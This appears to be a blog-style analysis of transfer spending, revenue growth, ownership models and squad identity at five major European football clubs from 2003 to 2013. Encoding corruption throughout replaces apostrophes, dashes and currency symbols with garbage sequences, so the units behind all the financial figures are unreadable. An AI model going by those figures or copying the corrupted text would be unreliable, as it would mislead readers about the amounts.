Professional football is probably one of the few if not the only sport where the ownership models vary from championship to championship and are subject to different rules and regulations. The most common models in Europeai??i??s major championships are fan ownership (Barcelona, Real Madrid) and individual ownership (Chelsea FC, Manchester United), though Germanyai??i??s Bundesliga restricts the ownership stake of potential investors through the 50+1 rule, effectively limiting their influence over club policy.

Unlike the individual ownership model where a single individual (Roman Abramovich; Chelsea FC), a family (The Glazers, Manchester United), or a consortium of investors (Tom Hicks and George N. Gillett during their ill-fated spell as owners of Liverpool FC) operate and decide club policy, and more importantly, control the finances, Germanyai??i??s 50+1 rule is designed to provide and maintain relative autonomy to the respective club administrations across Germanyai??i??s various leagues from investors.

Itai??i??s a double edged sword. The 50+1 rule offers a layer of protection against fickle investors a la Abdullah bin Nasser bin Abdullah Al Ahmed Al Thani, whose ownership of La Liga side Malaga CF is turbulent to say the least. Within the span of 12 months the club went from an ambitious project with funds to match to a club forced to sell its most valuable assets just to keep afloat.

Critics of the 50+1 rule argue it deters potential investors from making significant financial commitments to German clubs. After all, whoai??i??s willing to make large investments without being able to dictate the terms of the arrangement?

Then thereai??i??s fan ownership where the clubs administration is elected by its paying members. Though it might appear as the most democratic and transparent model of them all, itai??i??s not fully safe from manipulation. Say, for instance, if an administration changes the by-laws or the framework to be eligible for a mandate as club president to where a candidate has to provide a financial guarantee in the millions, it effectively eliminates all but a selected few nominees. Thus any given mandate can be artificially prolonged, if not extended indefinitely ai??i?? in theory at least.

With different ownership models come different motivations how to run a club. Even the stimuli for individual owners arenai??i??t alike. Take Roman Abramovich and Chelsea FC. The Russian billionaire is obviously passionate about the club, as reflected in the huge investments he made over the years, but turning the Blues into a profitable entity appears to be secondary on the list of his priorities. The Glazers in turn not only transferred the burden of their leveraged takeover for Manchester United onto the club itself, they have all but resisted the temptation to provide sufficient funds out of their own pockets.

FC Barcelona and Real Madrid are owned by the fans whose primary interest lies with the success on the pitch than off it, but they are ultimately at the mercy of the administration theyai??i??ve elected. Meaning at the end of the day they have no real control over the club’s finances.

German club Bayern Munich is hybrid of all of the above. The 50+1 rule guarantees its board autonomy from investors like Deutsche Telekom or Adidas, which both are stakeholders in the club, but at the same time they remain accountable for their decisions to their base.

2003 – 2013

The conclusion of the 2012-13 marks a milestone of sorts, or better yet, the first 10 years of a new era ai??i?? a decade of decadence in football.

Why this particular timeframe?

Besides being subject to different ownership models the aforementioned clubs (FC Barcelona, Bayern Munich, Chelsea FC, Manchester United and Real Madrid) are some of the most successful sides in their respective leagues and in Europe, especially the Champions League. Furthermore these clubs have invested heavily in recruitment, with the level of spending reaching obscene levels. For this reason alone some other clubs who can also boast a fine track record in Europe (AC Milan, Liverpool FC and FC Porto) have been excluded from this analysis.

Italian giant AC Milan were a big spender but currently find themselves in a transitional phase, while Liverpool FC havenai??i??t featured in UEFAai??i??s top club competition in a while now. FC Porto, though by no means a minnow have never been big spenders, nor did they have to as their excellent scouting department is testimony to that. The Portuguese club rather sells players for huge profit margins than purchase them at inflated fees.

The Rise Of Big Money Transfers

2003 was a pivotal year in football in more than just one way. Though huge (single) transfers were already commonplace when Roman Abramovich seized control of Chelsea FC in 2003, the outlay the Blues spent on new recruits totaled ai??i??172 million (ai??i??208 million adjusted for inflation) during the first year of his ownership.

It was quite simply unprecedented and at that point in time unthinkable a club, let alone a single individual, would sanction a transfer spree of this magnitude. Chelsea FCai??i??s ai??i??172,2 million investment for 11 players in the 2003-04 is a 213% increase of Manchester Unitedai??i??s outlay of ai??i??55 million for 7 new signings. To further illustrate the sheer scale of the Blues acquisition spree, FC Barcelona, Bayern Munich, Real Madrid and Manchester United collectively purchased 16 players worth ai??i??163,4 million.

Of course it would be easy to single out Chelsea FC, or rather Roman Abramovich, as reckless spenders. Hence itai??i??s important to consider a few factors like the squad at hand, the competition (especially the domestic rivals) and the targets one would like to achieve. Given the level of investment itai??i??s safe to assume Chelsea FC were not only (re)build to break the duopoly of Arsenal FC and Manchester United, but also to establish the Blues as a heavyweight in England and Europe.

Whereas the traditional superpowers that be spent significantly less than Chelsea in total, the Blues also spent more on a per player basis (ai??i??15,6 million, or ai??i??18,9 million adjusted for inflation) than their rivals. However, in most cases their rivalai??i??s sides already had a solid core of players and just needed to acquire a few additions whereas Chelsea literally made wholesale changes within a brief amount of time.

However, in 2003 FC Barcelona also underwent changes, perhaps not as fundamental as Chelseaai??i??s transformation but drastic nonetheless. After the resignation of Joan Gaspart earlier in the year Joan Laporta assumed office in June, just in time for the summer transfer window. Itai??i??s of interest because more so than anywhere else (save for Real Madrid) is the success or failure of a presidential campaign aided if not utterly dependent on promises to sign a superstar player(s).

Therefore the benchmark for investments courtesy of perennial title-contenders in 2003 lies somewhere between Barcelonaai??i??s ai??i??43,8 million and Manchester Unitedai??i??s ai??i??55 million. Real Madridai??i??s President, Florentino Perez, still in the middle of a very successful first term (or half of it), didnai??i??t feel compelled to acquire new talent beyond the ai??i?? at that point ai??i?? requisite superstar signing (David Beckham). His ill-conceived Zidanes y Pavones transfer policy is one of the more severe mistakes of his presidency. It is probably only topped by the unrequired disposal of Vincent del Bosque, the primary architect of Real Madridai??i??s resurgence.

The Blues ai??i??172,2 million outlay was massive indeed but itai??i??s probable Chelsea wouldai??i??ve spent much more if it was an election year in Madrid. But then again, none of the Blues signings was a certified superstar in the mold of David Beckham.

The Establishment Of A Two Class System In Europe

Roman Abrahomovichai??i??s takeover of Chelsea FC has arguably just sped up an inevitable development in football that ultimately divides all clubs in two groups: the haves and the haves not. Buyers and sellers.

Unsurprisingly Chelsea FC have been the biggest spenders in football, the Blues total expenditure is just under ai??i??1 billion (ai??i??987 million). Yet, for all their history, tradition, and most importantly, appeal, Real Madrid still accumulated a hefty bill in regards to direct squad investment (ai??i??874,1 million) for a not so distant no. 2. Their eternal rivals FC Barcelonaai??i??s outlay is just shy of ai??i??600 million (ai??i??595,9 million), Manchester United spent ai??i??501,8 million, while newly crowned Champions League winners Bayern Munich acquired talent worth ai??i??382,7 million.

Itai??i??s quite an interesting revelation since itai??i??s usually Chelsea FC that is accused of buying success. A direct comparison between Chelsea FC and Real Madrid is not helpful. Thus it would probably be wiser to further scrutinize their investments in conjunction with their two primary domestic rivals (FC Barcelona and Manchester United) since these teams have similar outlays.

Chelsea FCai??i??s ai??i??987 million investment is an increase of 97% over Manchester Unitedai??i??s ai??i??501,7 million expenditure, whereas Real Madridai??i??s ai??i??874,1 million in recruitment expenses is ai???justai??i?? 47% higher than FC Barcelonaai??i??s ai??i??595 million during the same period. While the Merengues outspent their rivals by roughly 50%, the Blues obliterated their nearest competitors, Manchester United, by a 2-to-1 ratio.

During the last 10 years the Blues have won 12 trophies (8 major, 4 minor) while Manchester United accumulated 15 trophies (8 major, 7 minor). Disregarding the minor League Cup, the trophy count for both teams is even. Though Manchester United has won the league more often, 5 to Chelseaai??i??s 3, the Blues have better track record in the FA Cup, 4 to the Red Devils sole triumph in the last 10 years. Curiously, both teams have won the Champions League once.

Real Madrid on the other hand have just won 6 trophies (4 major, 2 minor) whereas FC Barcelona have won 20 (11 major, 9 minor).

During this period some clubs have all but refused to participate in this arms race of sorts, most notably Arsenal FC. The Gunners reluctance to take part in the transfers frenzy from 2003 ai??i?? 2013 is understandable though. The relocation from Highbury to the state of the art Emirates Stadium in 2006 and the subsequent repayment has forced the Gunners to sell some of its biggest assets to rivals in England and the continent.

Arsenal by all accounts are still a big club, but there remains a notable distance between them and the true elite (revenue or sporting-wise) of European football.

Bottom line: Though Chelsea FCai??i??s spending is rather excessive thereai??i??s no denying that it produces results on the pitch. Whether this enormous level of investment is required or even justifiable is debatable. Conversely, with Real Madrid whose outlay is that much closer to the Blues than the Blaugrana, it wouldai??i??ve been feasible to expect at least a similar return to that of Chelsea FC. However, the Merengues donai??i??t even come close to match the trophy haul of FC Barcelona, unlike the Blues who matched Manchester United (if minor trophies are excluded).

Perhaps it would be helpful to dissect the net spending before jumping to any conclusions. After all, there are only so many players who can be registered for a team at any given time. Hence players have to be sold first before others can be acquired.

Manchester United have the best coverage ratio at 46% or in other words, their gross outlay of ai??i??501,8 million in direct squad investment is offset by ai??i??233,3 million in player sales. FC Barcelona rank a distant second with a coverage ratio of 33% (ai??i??198,9 million), which even looks worse in light of their greater squad investment than the Red Devils (ai??i??595,9 million). The Blaugranaai??i??s rivals, Real Madrid, are a close 3rd with a coverage ratio of 30% (ai??i??256,6 million) of their ai??i??874,1 million gross spending. Surprisingly, Chelsea FC do not rank last in terms of coverage ratio, the Blues recouped 25% (ai??i??246,3 million) of their monumental ai??i??987,2 million transfer outlay through player sales, just edging out Bayern Munichai??i??s coverage ratio of 24% (ai??i??93,1 million). Still, it must be noted though that Die Roten’s gross outlay is significantly less than ai??i??100 million, or roughly 31%, below the next ai???prudentai??i?? club, Manchester United.

Though the Red Devils appear to have a solid investment policy, their remarkable coverage ratio of 46% is heavily inflated by the record sale of Cristiano Ronaldo in 2009 to Real Madrid for a reported ai??i??94 million. If both, Cristiano Ronaldoai??i??s sale and all of Manchester United’s subsequent acquisitions in 2009 (ai??i??27,4 million) are deducted from the equation, the Red’s coverage ratio would drop to 29%, which is in line with that of its rivals.

The coverage ratio itself only gives an information about the percentage of the net outlay a club has committed to acquire new players, not the exact total. Most clubs must design their transfers business to be self-sustaining, meaning player acquisitions must and should be funded through sales. Big clubs however operate on a different business model (if that term is applicable). As far as recruitment is concerned the transfer policy of a big club is basically constructed around a deficit.

The idea behind it is simple ai??i?? strengthen through acquisition. Players are recruited to accomplish triumphs on the pitch, which could lead to increased opportunities for commercial exploration off the pitch.

Everybody loves a winner, right?

Thus it is interesting to find out who made to biggest financial commitment in terms of net spending to achieve that goal (pun intended)?

Well, no surprises here. From the 2003-04 to the 2005-06 campaign Chelsea FC were the biggest net spenders in football. Though the Blues spending hovered around the ai??i??160 million mark for the first two years it dramatically declined to ai???justai??i?? under ai??i??60 million in 2005-06, suggesting that Chelsea had finally assembled the spine of their team.

Maybe itai??i??s just a coincidence but in Year One after Roman Abramovichai??i??s Blues takeover out of the remaining 4 clubs all but 1 (Bayern Munich) drastically increased their outlay. FC Barcelona nearly doubled (88,3%) their transfer kitty from ai??i??33,9 million to ai??i??63,8 million, Manchester Unitedai??i??s investment increased tenfold on a year-on-year basis (ai??i??5,1 million in 2003-04; ai??i??51,7 million in 2004-05) while Real Madrid’s net outlay enjoyed a similar increase from ai??i??5,7 million to ai??i??47,5 million (823%). FC Bayern Munich remained unfazed by the spending of their continental rivals, increasing their net spending just 16,7% from ai??i??22,7 million to ai??i??26,5 million.

A League Of Their Own

Since these particular clubs operate on a different business model in regards to transfers itai??i??s imperative to take a closer look at their respective turnovers. Deficit (net) spending for transfers can be offset by a large enough revenue stream off the pitch. Even without exploring the exact costs in detail (for further information you should check out the ever impeccable SwissRamble) itai??i??s a safe assumption that if wages and transfers account for the biggest percentage of the annual expenses a club has to cover, no organization can be considered a self-sustaining entity, let alone profitable, if those outlays rival or surpass the yearly revenue.

The Deloitte Money League tracks, reports and annually ranks the 20 biggest football clubs (in terms of revenue). Then and now, FC Barcelona, Bayern Munich, Chelsea FC, Manchester United and Real Madrid not only made the list, they were and are all ranked inside the top 10.

In 2003 Manchester United, Real Madrid and Chelsea FC were among the top 5 clubs in terms of revenue, while FC Barcelona and Bayern Munich were ranked at the lower end of the top 10.

The 2011-12 list differs greatly, Real Madrid moved to the first place with an annual turnover of ai??i??512,6 million, FC Barcelona leapfrogged Chelsea FC and Manchester United with yearly revenues of ai??i??483 million, the Red Devils find themselves at no. 3 with ai??i??396 million. Bayern Munichai??i??s annual turnover stands at ai??i??368,4 million. The Blues revenues of ai??i??322,6 million are still good enough for the top 5.

As indicated, the 5 clubs have increased their respective turnovers. However, some have grown disproportionally more than others. FC Barcelona have almost tripled their annual turnover in the years from 2003 ai??i?? 2012 with an increase of 286%, Bayern Munich have more than doubled (221%) their yearly revenues, Real Madrid are a close third at 217%. The revenue growth of both Premier League clubs, Manchester United at 153% and Chelsea FC at 148% is rather disappointing. While their continental counterparts have at least doubled their revenues, the English-based clubs have just increased their turnover around a half compared to their 2003-04 figures.

Considering the Premier League is advertised to be the most exciting and best league in the world, this sentiment isnai??i??t reflected in the individual growth of two of its most successful clubs (from 2003 onwards). While FC Barcelona and Real Madrid benefit from an individual TV-Rights deal which nets each club ai??i??140 million annually, but even if those figures were adjusted to the levels of Manchester United or Chelsea FC, who collect around approximately ai??i??50 ai??i?? 70 million per annum, the Spanish sides would still find themselves well ahead of their English counterparts.

Bayern Munichai??i??s growth on the other hand is remarkable in the sense that they neither benefit from a massively advertised league (the Premier League) or a rich individual TV-Deal (FC Barcelona, Real Madrid), yet the German club still more than doubled its annual turnover.

Something has got to give and the slow growth of Manchester United and Chelsea FC in comparison to their continental rivals is unsatisfactory.

In the timeframe from the 2003-04 to 2011-12 campaign (the figures for the 2012-13 season have yet to be released), these 5 clubs have committed an average of 16% of their annual turnover for transfers (net): FC Barcelona (12%), Bayern Munich (10%), Chelsea FC (29%), Manchester United (11%) and Real Madrid (17%). Itai??i??s rather unexpected to see FC Barcelona, a club notorious for overspending in the transfer market, pledging an equal amount (relatively) of funds for new recruits as financially more frugal Bayern Munich.

Fans of the Die Roten should be warned though; FC Barcelonaai??i??s spending ballooned under Pep Guardiola. He definitely ushered the Blaugrana into a new era of success but his track record in regards to signings is appalling. In 2008-09 and 2009-10 Barcelona spent ai??i??131 million (net) on new recruits of whom only Gerard Pique and Dani Alves (that cost an estimated ai??i??40 million combined) stood out as success stories and are still with the club.

Manchester United, or rather Sir Alex Ferguson, must be credited with relative low investments over this period. Not many managers can (re)build a side – Ferguson did it repeatedly. Real Madridai??i??s 16% is perfectly average but immensely inflated due to the Merengues lavish spending in 2009 when the club spent ai??i??170 million (net) on new recruits. Chelsea FC, the Europa League champions allocated as much as 29% of their accumulated turnover between the 2003-04 and the 2011-12 campaign. Itai??i??s almost double as much as Real Madridai??i??s commitment and almost triple of Bayern Munichai??i??s financial outlay (in relative terms, of course).

The Things Money Can Buy (Identity Isnai??i??t One Of Them)

Many ways lead to Rome. Thereai??i??s not one definitive way to accomplish domestic or continental success. Though heavily criticized for his ruthless man-management (pun intended), thereai??i??s no denying that Roman Abramovich tenure as owner of Chelsea FC has been nothing but a success, on the pitch at the very least. If minor trophies are disregarded (League Cup, Community Shield) then the Blues have been on par with Manchester United. Even their respective revenue growth is remarkably similar 148% to the Red Devils 153%.

However, the Blues still trail Manchester United and other their rivals in the top 5 of the Deloitte Money League by significant margins. While Chelsea FCai??i??s aggressive transfer policy has brought them on-pitch success it hasnai??i??t the the catalyst for the extensive commercial exploration off the pitch one mightai??i??ve hoped for (also akin to Manchester United). Bayern Munich for instance were ranked behind Chelsea FC in the 2003-04 Deloitte Money League – now the German outfit rank just ahead of the Premier League club.

Real Madrid, Deloitteai??i??s no. 1 ranked team, had an annual turnover of ai??i??512,6 million in 2011-12 despite being the ai???leastai??i?? successful side of the top 5 in the past 10 years. Since 2003-04 the Madrid clubai??i??s revenue has more than doubled (217%). Florentino Perez Zidane y Pavones transfer policy mightai??i??ve been ill-conceived, or perhaps just ill-executed, but it laid the groundwork for Real Madrid to become the first club in sports history to generate revenues in excess of half a billion Euro.

Superstars, genuine, quantifiable and more importantly, marketable, football players are few and far in between. Real Madridai??i??s Perez quite early on understood the advantage of buying real superstars a la David Beckham. Even if they donai??i??t necessarily contribute to the sporting success of the project.

David Beckham is a superstar who transcends the sport and is a true global icon. Radamel Falcao is a football superstar, a star of the sport. Heai??i??s probably infinitely worth more to his side than David Beckham ever was to any of his teams, however, Beckham is a brand, a darling of the media. Advertisers, sponsors etc. line-up to have their product associated with him. The Englishman is still the worldai??i??s best paid athlete from sponsorships, raking in an estimated ai??i??35 million off the pitch. Since David Beckham has retired, Real Madrid can now claim to have the worldai??i??s most marketable footballer in Cristiano Ronaldo, who is earning approximately ai??i??17 million from endorsements.

The synergies between a high-profile club and a true superstar are limitless, and it reflects in the bottom line. Thus, even though Real Madrid didnai??i??t enjoy Chelsea FCai??i??s level of success (not even in the Champions League) the Merengues were able to double their revenues. One can only assume they wouldai??i??ve surged past the ai??i??500 million mark earlier if they had been a little more successful.

But, and thatai??i??s almost infinitely more interesting, clubs that have a solid core of either academy players or nationals have done remarkably well in growing their brand. Even in 2003 FC Barcelona put the emphasis on its own La Masia academy. The youth products accounted for 50% of their registered players that were supplemented by imports from abroad (42%). This excellent ratio has even been increased to an unparalleled 71% in 2013, whereas the quota of imports has decreased to 14%. Overall, the current Barcelona side is 64% made up of Spanish nationals and 36% foreigners.

Also, Bayern Munich transfer policy of preferring to buy domestically had the welcome side-effect that most of their signings were German nationals. Out of the 17 players they acquired in the 2003-04 season 14 were German. The Bavarian club also had a decent amount of academy players in its first team, 6, which would amount to 21%. But while the numbers of domestic signings have decreased in 2013 to (a still high) 11 players, or 43%, the percentage of academy graduates now plying their trade for the first team have increased to 9. At present half of Bayern Munichai??i??s squad is comprised of German nationals, while 35% of the first team has emerged from the academy.

Manchester United used to have a respectable ratio of academy graduates amidst their ranks, as evidenced by the 10 youngsters (37%) the Red Devils had on their books in 2003-04. Nowadays, Manchester United only have 5 academy players (17%) with its first team. Fergieai??i??s fledglings, Manchester Unitedai??i??s own golden generation of youth players, have slowly but surely been phased out or retired in the time since. Nevertheless, the Red Devils still boast a strong English presence with 16 players (55%).

Even for all their Galatico shenanigans Real Madrid have always maintained a strong Spanish core. Even though it has fallen well below the benchmark set in 2003-04 of 70%, or 16 players, the 2012-13 Merengues still have 14 players (48%) that are Spanish. The percentage of academy players has significantly regressed from 48% to 34% but thatai??i??s the logical tradeoff if the annual superstar signing has become pre-requisite.

Chelsea FC, have neither a strong preference for buying from domestic rivals nor do they put an emphasis on youth development. In 2003-04, the Blues had a comparable ratio of youth players (17%) to Bayern Munich (18%), but whereas die Roten have doubled their intake of academy graduates, the Blues have all but neglected their youth. In 2013 only 1 player, John Terry, can claim to hail from the academy. In addition the Blues percentage of imports has surged to 15 players (60%). Nominally the number of imports almost remained the same though (16 in 2003; 53%). In all, Chelseaai??i??s squad can just count 6 Englishmen (24%) in its first team.

It supports the argument that the Blues remain somewhat inaccessible to the casual football fan. Chelsea have enjoyed more success than Real Madrid, are on equal footing with Manchester United, yet just rank no. 5 in the Deloitte Football Money league. While the Blues have a loyal and devoted fanbase, itai??i??s hard for outsiders to identify with the team. Thereai??i??s no clear football philosophy or a strong presence of academy graduates nor a large percentage of English nationals or bonafide superstars in the mold of David Beckham, Cristiano Ronaldo or Lionel Messi (who all made Sports Illustrated International Top Highest Paid Athletes ai??i?? an indicator for true superstardom).

The Future?

For the time being Real Madrid and FC Barcelona are set to remain the pace-setters, if not from a sporting point of view then from an economic perspective at the very least. Though both clubs have a far reaching appeal which is reflected in their revenue growth over the past 10 years, their respective strategies couldnai??i??t be more contrasting.

Real Madridai??i??s business model is more or less a continuation of the Galactico policy first established under Florentino Perez during his first team. The biggest and most marketable names in football usually find their way into the Casa Blanca. While the Galactio policy isnai??i??t a guarantee for success on the pitch, it yields rich dividends off it. The brand ai???Real Madridai??i?? resonates with fans. Though not always triumphant itai??i??s glamorous.

For better or worse (arguably better) the Merengues have successfully transformed from traditionally being Spainai??i??s team to a World XI. Bondafide Superstars like David Beckham and Cristiano Ronaldo (coincidentally two former Manchester United players) ensure(d) that Real Madrid dominate the headlines. Even in off seasons like 2012-13 when the club didnai??i??t win any major titles. The sex-symbol status of both men also increases the awareness of Los Blancos beyond the scope of football fans ai??i?? namely females who arenai??i??t interested in the sport but the celebrity. It stands to reason that these ai???fansai??i?? spend a good amount of money on Real Madrid merchandise just because of brand association.

FC Barcelona on the other hand promote different values, or rather sells another lifestyle ai??i?? ai???Mes que un clubai???. Itai??i??s all-encompassing too. The Blaugrana have a definitive and recognizable identity. From the emphasis on its own La Masia groomed youth players to the football philosophy to its non-profit collaborations with Unicef or the Bill and Melinda Gates Foundation ai??i?? FC Barcelona are the counterpart to their rivals Real Madrid. The Ying and the Yang.

The rivalry between these two clubs, coupled with the promotion of two entirely different values, or lifestyles, actually benefits both. Neutral fans can literally either buy into Real Madridai??i??s glitz and glamour, or FC Barcelonaai??i??s more traditional values ai??i?? at a price, of course.

Manchester United are rather unfortunately ranked at no.3. Not once but twice have the Red Devils lost footballai??i??s most marketable football player to Real Madrid, David Beckham in 2003 and Cristiano Ronaldo in 2009. Both times out they missed on huge opportunities to cash in on Beckhamai??i??s and Ronaldoai??i??s ability to boost merchandise sales by significant margins. Wayne Rooney is a Superstar, a global icon even, but heai??i??s not in the same league as either of the aforementioned gentlemen.

Rio Ferdinand, too, is immensely popular, but for one heai??i??s a defender, and two, heai??i??s already nearing the end of his career. Their combined endorsement portfolio is no match for Ronaldoai??i??s off-pitch earnings. And thatai??i??s just his individual take. Itai??i??s a safe to assume that Ronaldo is generating at least the same revenue, if not more, for his employers through merchandise sales.

If Manchester United indeed decides to sell Wayne Rooney the club finds itself in precautious situation. No necessarily sporting-wise but the club would lose its no.1 marketable asset.

Of course, thereai??i??s Robin Van Persie who all but relegated Wayne Rooney to a supporting role, but Manchester United is a Nike-sponsored club and the Dutchman is an Adidas athlete. Worldwide marketing campaigns courtesy of the American sports apparel manufacturer starring Van Persie ai??i?? itai??i??s not going to happen. Itai??i??s a situation FC Barcelona found themselves in after the departure of Ronaldinho in 2008. Even towards the end of Zlatan Ibrahimovic’s unhappy stay at Barcelona Nike didnai??i??t miss an opportunity to promote both brands as evidenced in this commercial. Itai??i??s probably one of the major reasons why the Catalan club was so eager to sign Neymar. The Brazilian sensation is already one of the most marketable (Nike) athletes in the world period. Itai??i??s Messiai??i??s team but Neymar is the highest profile Nike player at Barcelona.

However, even with Wayne Rooney the Red Devils are at risk of losing ground to Bayern Munich who, with the increasing interest in the Bundesliga, could overtake the Red Devils in the not so distant future, especially under the guidance of Pep Guardiola.

The Catalan manager is a brilliant tactician but a so-so judge of talent that has not been developed at La Masia. His track record in the transfer market leans toward abysmal. However, in Bayern Munich he finds the perfect framework to supplement his tactical acumen. Unlike Barcelona where he was almost granted total control due to his unprecedented success Bayern Munich operate differently. Bayernai??i??s administration cannot be bullied or strong-armed into his every request. Only at Barcelona, at that particular time, was it possible for Guardiola to offload the Blaugranaai??i??s records signing, Zlatan Ibrahimovic, after one season. But Pep Guardiola is one of the few true superstar managers in sports who is almost synonymous with free-flowing eye-candy football. Both should benefit the German giants just fine – on and off the pitch.

Chelsea FC remains something of a problem child. Sans the investment courtesy of Roman Abramovich the Blues wouldai??i??ve never enjoyed the success they have, but it came at a price. The owners demand for success has made impossible to nurture and incorporate the most promising talents of its academy. It takes time to establish a definitive football philosophy, and even more patience to not only promote but also integrate youngsters into the first team.

Nevertheless, as Real Madrid has proven, a club doesnai??i??t have to be immensely successful or have a distinguishable football philosophy or a high percentage of academy graduates in its squad to increase its revenue growth. Strangely enough Chelsea FC has been more successful than Real Madrid on the pitch. But unlike the Merengues who almost spent equally as much as the Blues, Chelsea FC has thus far not signed a global icon like Beckham.

The Blues have a roster filled with undeniable talent but none of them has the appeal of a Cristiano Ronaldo, Lionel Messi, or even Wayne Rooney. Fernando Torres is undoubtedly a household name but he became a superstar with Liverpool FC, a domestic rival. Also not helping is the fact that Torres arguably played his best football with The Reds. Heai??i??s decent with the Blues but he was spectacular at Anfield. Conversely, Cristiano Ronaldo left Manchester United (and the Premier League) where he already was excellent, and signed for Real Madrid for whom he even got better. It helps the cause and the coffers alike.

In the end money talks but an identity, a clear long-term vision, and an even better execution is (almost) priceless.

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